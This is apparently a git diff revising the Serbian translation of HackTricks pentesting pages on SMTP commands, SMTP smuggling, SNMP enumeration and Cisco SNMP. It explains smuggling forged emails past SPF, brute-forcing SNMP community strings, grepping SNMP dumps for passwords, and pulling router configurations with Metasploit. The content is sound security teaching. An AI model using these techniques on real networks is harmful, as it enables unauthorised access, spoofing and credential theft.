ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md index 4956eaf95..0656ba37b 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -14,9 +14,9 @@ Drugi načini podrške HackTricks-u: -
+
-**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabave se. {% embed url="https://pentest-tools.com/" %} @@ -38,22 +38,22 @@ Identifikuje primaoca emaila; ako ih ima više, komanda se jednostavno ponavlja Ova SMTP komanda obaveštava udaljeni server o procenjenoj veličini (u bajtovima) priloženog emaila. Može se koristiti i za prijavljivanje maksimalne veličine poruke koju će server prihvatiti. **DATA**\ -Sa DATA komandom počinje se prenositi sadržaj emaila; obično je praćen odgovorom 354 koji daje server, dajući dozvolu za početak stvarnog prenosa. +Sa DATA komandom počinje prenos sadržaja emaila; obično je praćena odgovorom 354 koji daje server, dajući dozvolu za početak stvarnog prenosa. **VRFY**\ -Server se pita da potvrdi da li određena email adresa ili korisničko ime zaista postoji. +Traži se od servera da potvrdi da li određena email adresa ili korisničko ime zaista postoje. **TURN**\ Ova komanda se koristi za invertovanje uloga između klijenta i servera, bez potrebe za pokretanjem nove konekcije. **AUTH**\ -Sa AUTH komandom, klijent se autentifikuje serveru, dajući svoje korisničko ime i lozinku. To je još jedan sloj sigurnosti kako bi se garantovao pravilan prenos. +Pomoću AUTH komande, klijent se autentifikuje serveru, dajući svoje korisničko ime i lozinku. To je još jedan sloj sigurnosti kako bi se garantovao pravilan prenos. **RSET**\ Obaveštava server da će se trenutni prenos emaila završiti, iako razgovor SMTP-a neće biti zatvoren (kao u slučaju QUIT). **EXPN**\ -Ova SMTP komanda traži potvrdu o identifikaciji liste za slanje. +Ova SMTP komanda traži potvrdu o identifikaciji mailing liste. **HELP**\ To je zahtev klijenta za nekim informacijama koje mogu biti korisne za uspešan prenos emaila. @@ -61,9 +61,9 @@ To je zahtev klijenta za nekim informacijama koje mogu biti korisne za uspešan **QUIT**\ Završava razgovor SMTP-a. -
+
-**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabave se. {% embed url="https://pentest-tools.com/" %} diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index 95b72216b..95f225858 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -22,14 +22,14 @@ Ovaj tip ranjivosti je [**originalno otkriven u ovom postu**](https://sec-consul Ovo je zato što u SMTP protokolu, **podaci poruke** koja se šalje putem e-pošte su kontrolisani od strane korisnika (napadača) koji bi mogao poslati posebno oblikovane podatke zloupotrebljavajući razlike u parserima koji će prokrijumčariti dodatne e-poruke u primaoca. Pogledajte ovaj ilustrovani primer iz originalnog posta: -

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

+

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

### Kako -Da bi iskoristio ovu ranjivost, napadač mora poslati neke podatke koje **Odlazni SMTP server smatra da je samo 1 e-pošta, ali Ulazni SMTP server misli da ima više e-poruka**. +Da bi iskoristio ovu ranjivost, napadač mora poslati neke podatke koje **Odlazni SMTP server smatra da je samo 1 e-poruka, ali Ulazni SMTP server misli da ima više e-poruka**. Istraživači su otkrili da različiti **Ulazni serveri smatraju različite karaktere kao kraj podataka** e-poruke koje Odlazni serveri ne smatraju.\ -Na primer, redovan kraj podataka je `\r\n.\r\n`. Ali ako Ulazni SMTP server takođe podržava `\n.\n`, napadač bi mogao samo dodati **te podatke u svoju e-poštu i početi da označava SMTP komande** novih kako bi je prokrijumčario baš kao na prethodnoj slici. +Na primer, redovan kraj podataka je `\r\n.\r\n`. Ali ako Ulazni SMTP server takođe podržava `\n.\n`, napadač bi mogao samo dodati **te podatke u svoju e-poštu i početi da navodi SMTP komande** novih kako bi je prokrijumčario baš kao na prethodnoj slici. Naravno, ovo bi moglo raditi samo ako **Odlazni SMTP server takođe ne tretira ove podatke** kao kraj podataka poruke, jer u tom slučaju će videti 2 e-poruke umesto samo 1, tako da je na kraju ovo nesinhronizacija koja se zloupotrebljava u ovoj ranjivosti. @@ -38,7 +38,7 @@ Potencijalni podaci nesinhronizacije: * `\n.\n` * `\n.\r\n` -Takođe obratite pažnju da se SPF zaobilazi jer ako prokrijumčarite e-poštu sa `admin@outlook.com` iz e-pošte sa `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.** +Takođe obratite pažnju da se SPF zaobilazi jer ako prokrijumčarite e-poruku sa `admin@outlook.com` iz e-pošte `user@outlook.com`, **pošiljalac je i dalje `outlook.com`.** ## **Reference** @@ -50,7 +50,7 @@ Takođe obratite pažnju da se SPF zaobilazi jer ako prokrijumčarite e-poštu s Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index f40083252..99738b5b0 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -1,4 +1,4 @@ -# 161,162,10161,10162/udp - Pentesting SNMP +# 161,162,10161,10162/udp - Testiranje penetracije SNMP
@@ -6,23 +6,23 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-
+
-Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). +Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). {% embed url="https://www.stmcyber.com/careers" %} ## Osnovne informacije -**SNMP - Simple Network Management Protocol** je protokol koji se koristi za praćenje različitih uređaja u mreži (poput rutera, prekidača, štampača, IoT uređaja...). +**SNMP - Jednostavan Protokol za Upravljanje Mrežom** je protokol koji se koristi za praćenje različitih uređaja u mreži (poput rutera, prekidača, štampača, IoT uređaja...). ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -42,12 +42,12 @@ MIB fajlovi su napisani u ASCII tekstualnom formatu zasnovanom na `Abstract Synt Najviši nivoi MIB objektnih ID-ova, ili OIDs, dodeljeni su različitim organizacijama za postavljanje standarda. U ovim najvišim nivoima se uspostavlja okvir za globalne prakse upravljanja i standarde. -Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, oni imaju **autonomiju da uključe upravljane objekte relevantne za svoje sopstvene linije proizvoda**. Ovaj sistem osigurava da postoji strukturiran i organizovan metod za identifikaciju i upravljanje različitim objektima preko različitih proizvođača i standarda. +Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, oni imaju **autonomiju da uključe upravljane objekte relevantne za svoje proizvodne linije**. Ovaj sistem osigurava struktuiran i organizovan metod za identifikaciju i upravljanje različitim objektima preko različitih proizvođača i standarda. ![](../../.gitbook/assets/snmp\_oid\_mib\_tree.png) -Možete **navigirati** kroz **OID stablo** sa web strane ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta znači OID** (kao što je `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Postoje neki **dobro poznati OIDs** poput onih unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OID-ova koji proističu iz ovog** možete dobiti neke zanimljive podatke o hostu (sistemski podaci, mrežni podaci, podaci o procesima...) +Možete **navigirati** kroz **OID stablo** sa web strane ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta znači OID** (kao što je `1.3.6.1.2.1.1`) pristupanjem [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ +Postoje neki **dobro poznati OIDs** poput onih unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OID-ova koji slede nakon ovog** možete dobiti neke zanimljive podatke o hostu (sistemski podaci, mrežni podaci, podaci o procesima...) ### **Primer OID-a** @@ -62,7 +62,7 @@ Evo razlaganja ove adrese. * 6 – ovo je dod ili Ministarstvo odbrane koje je organizacija koja je prva uspostavila Internet. * 1 – ovo je vrednost interneta koja označava da će se sva komunikacija odvijati preko Interneta. * 4 – ova vrednost određuje da je ovaj uređaj napravljen od strane privatne organizacije, a ne vlade. -* 1 – ova vrednost označava da je uređaj napravljen od strane preduzeća ili poslovnog subjekta. +* 1 – ova vrednost označava da je uređaj napravljen od strane preduzeća ili poslovnog entiteta. Ove prve šest vrednosti obično su iste za sve uređaje i daju osnovne informacije o njima. Ovaj niz brojeva će biti isti za sve OID-ove, osim kada je uređaj napravljen od strane vlade. @@ -97,7 +97,7 @@ Postoje **2 tipa community stringova**: * **`public`** uglavnom **samo za čitanje** funkcije * **`private`** **Čitanje/Pisanje** uopšteno -Imajte na umu da **mogućnost pisanja OID-a zavisi od korišćenog community stringa**, tako da **čak i** ako otkrijete da se koristi "**public**", možda ćete moći **da pišete neke vrednosti**. Takođe, **možda** postoje objekti koji su **uvek "Samo za čitanje"**.\ +Imajte na umu da **mogućnost pisanja OID-a zavisi od korišćenog community stringa**, tako da **čak i** ako otkrijete da se koristi "**public**", možda ćete moći **da pišete neke vrednosti.** Takođe, **mogu postojati objekti koji su uvek "Samo za čitanje".**\ Ako pokušate **da pišete** objekat, dobićete grešku **`noSuchName` ili `readOnly`**. U verzijama 1 i 2/2c, ako koristite **pogrešan** community string, server neće **odgovoriti**. Dakle, ako odgovori, korišćen je **validan community string**. @@ -108,11 +108,11 @@ U verzijama 1 i 2/2c, ako koristite **pogrešan** community string, server neće * SNMP agent prima zahteve na UDP portu **161**. * Menadžer prima obaveštenja ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na portu **162**. -* Kada se koristi [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ili [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), zahtevi se primaju na portu **10161**, a obaveštenja se šalju na port **10162**. +* Kada se koristi [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ili [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), zahtevi se primaju na portu **10161** i obaveštenja se šalju na port **10162**. ## Brute-Force Community String (v1 i v2c) -Da biste **pogodili community string**, možete izvesti rečnik napad. Proverite [ovde različite načine izvođenja brute-force napada protiv SNMP-a](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćeni community string je `public`. +Da biste **pogodili community string**, možete izvesti rečnik napad. Proverite [ovde različite načine za izvođenje brute-force napada protiv SNMP-a](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćeni community string je `public`. ## Enumeracija SNMP-a @@ -155,24 +155,24 @@ U oblasti upravljanja mrežom, određene konfiguracije i parametri su ključni z Dve glavne postavke omogućavaju pristup **celom OID stablu**, što je ključna komponenta u upravljanju mrežom: -1. **`rwuser noauth`** je podešen da dozvoli pun pristup OID stablu bez potrebe za autentifikacijom. Ovo podešavanje je jednostavno i omogućava neograničen pristup. +1. **`rwuser noauth`** je podešen da omogući pun pristup OID stablu bez potrebe za autentifikacijom. Ovo podešavanje je jednostavno i omogućava neograničen pristup. 2. Za precizniju kontrolu, pristup se može dozvoliti korišćenjem: * **`rwcommunity`** za **IPv4** adrese, i * **`rwcommunity6`** za **IPv6** adrese. -Oba komanda zahtevaju **string zajednice** i odgovarajuću IP adresu, pružajući pun pristup bez obzira na poreklo zahteva. +Oba naredbe zahtevaju **string zajednice** i odgovarajuću IP adresu, pružajući pun pristup bez obzira na poreklo zahteva. ### SNMP Parametri za Microsoft Windows -Niz vrednosti **Management Information Base (MIB)** se koristi za nadgledanje različitih aspekata Windows sistema putem SNMP-a: +Niz vrednosti **Baze informacija o upravljanju (MIB)** se koristi za praćenje različitih aspekata Windows sistema putem SNMP-a: -* **Sistemske procese**: Pristupljeno putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava nadgledanje aktivnih procesa u sistemu. +* **Sistemske procese**: Pristupljeno putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava praćenje aktivnih procesa u sistemu. * **Pokrenuti programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno pokrenutih programa. -* **Putanja procesa**: Za određivanje gde se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`. -* **Jedinice skladištenja**: Nadgledanje jedinica skladištenja olakšava `1.3.6.1.2.1.25.2.3.1.4`. +* **Putanje procesa**: Za određivanje gde se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`. +* **Jedinice skladištenja**: Praćenje jedinica skladištenja olakšava `1.3.6.1.2.1.25.2.3.1.4`. * **Naziv softvera**: Za identifikaciju instaliranog softvera na sistemu koristi se `1.3.6.1.2.1.25.6.3.1.2`. * **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga. -* **TCP lokalni portovi**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze. +* **TCP lokalni portovi**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen praćenju TCP lokalnih portova, pružajući uvid u aktivne mrežne veze. ### Cisco @@ -192,7 +192,7 @@ Ako imate **string** koji vam omogućava da **pišete vrednosti** unutar SNMP se ## **Masovni SNMP** -[Braa ](https://github.com/mteg/braa)je masovni SNMP skener. Predviđena upotreba ovakvog alata je, naravno, postavljanje SNMP upita - ali za razliku od snmpwalk iz net-snmp, sposoban je da istovremeno postavlja upite na desetine ili stotine hostova, i to u jednom procesu. Stoga troši vrlo malo sistemskih resursa i vrši skeniranje VEOMA brzo. +[Braa ](https://github.com/mteg/braa)je masovni skener SNMP-a. Predviđena upotreba ovakvog alata je, naravno, postavljanje SNMP upita - ali za razliku od snmpwalk iz net-snmp, sposoban je da istovremeno postavi upite na desetine ili stotine hostova, i to u jednom procesu. Stoga troši vrlo malo sistemskih resursa i vrši skeniranje VEOMA brzo. Braa implementira sopstveni SNMP stek, tako da ne zahteva nikakve SNMP biblioteke poput net-snmp. @@ -212,19 +212,19 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Identifikacija privatnog stringa** -Ključan korak uključuje identifikaciju **privatnog zajedničkog stringa** koji koriste organizacije, posebno na Cisco IOS ruterima. Ovaj string omogućava izvlačenje **konfiguracija u pokretu** sa rutera. Identifikacija se često oslanja na analizu SNMP Trap podataka za reč "trap" pomoću **grep komande**: +Ključan korak uključuje identifikaciju **privatnog zajedničkog stringa** koji koriste organizacije, posebno na Cisco IOS ruterima. Ovaj string omogućava izvlačenje **konfiguracija u pokretu** sa rutera. Identifikacija često zavisi od analize SNMP Trap podataka za reč "trap" pomoću **grep komande**: ```bash grep -i "trap" *.snmp ``` ### **Korisnička imena/Lozinke** -Zapisi smešteni unutar MIB tabela se pregledaju radi **neuspešnih pokušaja prijavljivanja**, koji mogu slučajno uključivati lozinke unete kao korisnička imena. Ključne reči poput _fail_, _failed_, ili _login_ se traže kako bi se pronašli vredni podaci: +Zapisi sačuvani unutar MIB tabela se pregledaju radi **neuspelih pokušaja prijavljivanja**, koji mogu slučajno uključivati lozinke unete kao korisnička imena. Ključne reči poput _fail_, _failed_, ili _login_ se traže kako bi se pronašli vredni podaci: ```bash grep -i "login\|fail" *.snmp ``` ### **Emailovi** -Konačno, da biste izvukli **adrese e-pošte** iz podataka, koristi se **grep komanda** sa regularnim izrazom, fokusirajući se na obrasce koji odgovaraju formatima e-pošte: +Konačno, da biste izvukli **adrese e-pošte** iz podataka, koristi se **grep komanda** sa regularnim izrazom koji se fokusira na obrasce koji odgovaraju formatima e-pošte: ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` @@ -234,7 +234,7 @@ Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Morate znati ## Spoofing -Ako postoji ACL koji dozvoljava samo određenim IP adresama da upituju SNMP servis, možete falsifikovati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj. +Ako postoji ACL koji dozvoljava samo nekim IP adresama da upituju SMNP servis, možete falsifikovati jednu od ovih adresa unutar UDP paketa i špijunirati saobraćaj. ## Pregled konfiguracionih fajlova SNMP-a @@ -242,7 +242,7 @@ Ako postoji ACL koji dozvoljava samo određenim IP adresama da upituju SNMP serv * snmpd.conf * snmp-config.xml -
+
Ako vas zanima **hakerska karijera** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). @@ -290,7 +290,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp Drugi načini da podržite HackTricks: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index ac4252cb9..b3322eb95 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,7 +4,7 @@ Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -12,27 +12,27 @@ -
+
-Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_). +Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_). {% embed url="https://www.stmcyber.com/careers" %} ## Pentestiranje Cisco mreža -**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke niske, koje služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ove niske su ključne jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan vektor napada za pentestere je **bruteforsovanje zajedničkih niski**, sa ciljem infiltiranja mrežnih uređaja. +**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke stringove, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ovi stringovi su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan vektor napada za pentestere je **bruteforsovanje zajedničkih stringova**, sa ciljem prodiranja u mrežne uređaje. -Praktičan alat za izvođenje takvih napada brute-force je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih niski i IP adrese ciljeva: +Praktičan alat za izvođenje takvih napada brute-force je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih stringova i IP adrese ciljeva: ```bash onesixtyone -c communitystrings -i targets ``` #### `cisco_config_tftp` -Metasploit okvir sadrži modul `cisco_config_tftp`, koji olakšava ekstrakciju konfiguracija uređaja, pod uslovom da se stekne RW zajednički niz. Osnovni parametri za ovu operaciju uključuju: +Metasploit okvir sadrži modul `cisco_config_tftp`, olakšavajući ekstrakciju konfiguracija uređaja, uz uslov da se stekne RW zajednički niz. Osnovni parametri za ovu operaciju uključuju: * RW zajednički niz (**COMMUNITY**) * IP adresa napadača (**LHOST**) -* IP adresa ciljnog uređaja (**RHOSTS**) +* IP adresa ciljanog uređaja (**RHOSTS**) * Putanja odredišta za konfiguracione datoteke (**OUTPUTDIR**) Nakon konfiguracije, ovaj modul omogućava preuzimanje postavki uređaja direktno u određenu fasciklu. @@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
-Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). +Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). {% embed url="https://www.stmcyber.com/careers" %} @@ -59,7 +59,7 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne mo Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md index 58e6244e9..ad592671f 100644 --- a/network-services-pentesting/pentesting-telnet.md +++ b/network-services-pentesting/pentesting-telnet.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju 